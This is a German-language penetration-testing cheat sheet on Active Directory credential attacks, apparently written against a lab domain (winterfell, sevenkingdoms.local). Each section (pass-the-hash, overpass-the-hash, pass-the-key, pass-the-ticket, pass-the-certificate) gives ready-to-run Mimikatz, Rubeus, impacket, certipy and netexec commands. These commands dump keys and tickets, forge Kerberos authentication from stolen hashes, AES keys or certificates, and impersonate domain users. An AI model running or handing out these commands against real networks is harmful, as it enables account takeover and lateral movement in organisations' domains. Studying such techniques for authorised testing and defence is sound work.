Password Angriffe
Die Passwort und Lockout Policy kann beispielsweise in PingCastle oder mit den folgenden zwei Befehlen gesehen werden.
netexec smb winterfell -u <user> -p <password> --pass-pol
net accounts.
Pass the Hash
Vorraussetzungen
Es funktioniert für Domain User und lokale Accounts
NTLM basiert auf einer Challenge-response Methode.
Dabei meldet sich ein Client beim Server, dieser schickt eine Challenge zurück.
Der Schlüssel für die Verschlüsselung dieser Challenge ist der NT hash des Passwortes.
Dadurch ist es möglich mithilfe des hashes sich bei den Diensten anzumelden und so gut wie alle Tools unterstützen dieses Verfahren.
Overpass the hash
Vorraussetzungen
RC4_HMAC_MD5 Verschlüsselung muss aktiviert sein.
Bei Overpass the hash wird mithilfe des NT Hashes eines Nutzers ein Kerberos Ticket beantragt.
Beim Domain Controller wird ein Ticket Granting Ticket beantragt.
Mit einem der drei folgenden Befehle kann der Angriff ausgeführt werden:
sudo ntpdate <dc> && impacket-getTGT -hashes :<hash> domain.local/<username>
.\Rubeus.exe asktgt /user:user /domain:domain.local /rc4:<hash> /dc:dc.domain.local /ptt
sekurlsa::pth /user:<user> /domain:<domain> /rc4:<hash> /ptt # Mimikatz
ntpdate genutzt wird damit der folgende Befehl die gleiche Zeit wie der Domain Controller hat.
Pass the key
Kerberos unterstützt verschiedene Verschlüsselungsalgorithmen für Kerberos Tickets.
- RC4_HMAC_MD5
- AES256_HMAC_SHA1 und AES128_HMAC_SHA1 bei Vista Win Server 2008 und später
- DES_CBC_MD5 und DES_CBC_CRC bei Vista win Server 2008 und früher
Um diese Schlüssel zu erhalten können sie im Mimikatz gesucht werden mit sekurlsa::ekeys.
Dann kann ein Angriff ausgeführt werden mit:
sudo ntpdate <dc> && impacket-getTGT -aesKey <key> domain.local/username
.\Rubeus.exe asktgt /user:<user> /domain:domain.local /aes256:<aes-key> /dc:dc.domain.local /ptt
sekurlsa::pth /user:<user> /domain:<domain> /aes256:<aes-key> /ptt
Pass the Ticket
Ist es möglich Tickets zu bekommen, können diese einfach benutzt werden.
Dabei können TGT's benutzt werden, mit welchen es möglich ist Service Tickets für alle Dienste auszustellen um sich als der Nutzer auszugeben.
Auch ist es möglich Service Tickets direkt zu nutzen. Dabei ist zu beachten, dass der erste Teil des Service Principal Name(SPN) nicht geschützt ist. So kann zum Beispiel ldap/dc01 zu cifs/dc01 geändert werden.
Ein Ticket kann z.B. mit mimikatz und dem Befehl sekurlsa::tickets /export erhalten werden.
Um dieses Ticket nutzen zu können wird ein Ticket im ccache Format benötigt.
Dazu muss das Ticket gegebenenfalls konvertiert werden.
impacket-ticketConverter ticket.kirbi ticket.ccache
Danach muss das Ticket ausgewählt werden export KRB5CCNAME=ticket.ccache.
Dann kann der Angriff durchgeführt werden:
bash
sudo ntpdate <dc> && impacket-smbclient -k -no-pass NORTH.sevenkingdoms.local/robb.stark@winterfell
Rubeus.exe ptt /ticket:<base64-ticket>
kerberos::ptt ticket.kirbi # Mimikatz>
Pass the Certificate
Kerberos erlaubt die Authentifizierung mit Zertifikaten "PKINIT".
Dies ist unter anderem nützlich für Smartcard authentifizierung, oder um Clients zu authentifizieren.
Erbeutete Zertifikate, die smartcard/client authentifizierung erlauben können genutzt werden um ein TGT oder den NT hash zu bekommen.
Bei der Pre-authentication wird der aktuelle Zeitstempel mit dem privaten Schlüssel verschlüsselt.
bash
.\Rubeus.exe asktgt /user:<user> /certificate:cert.pfx /ptt /nowrap /getcredentials
certipy auth -pfx cert.pfx
python3 gettgtpkinit.py -cert-pfx cert.pfx domain.local/dc$>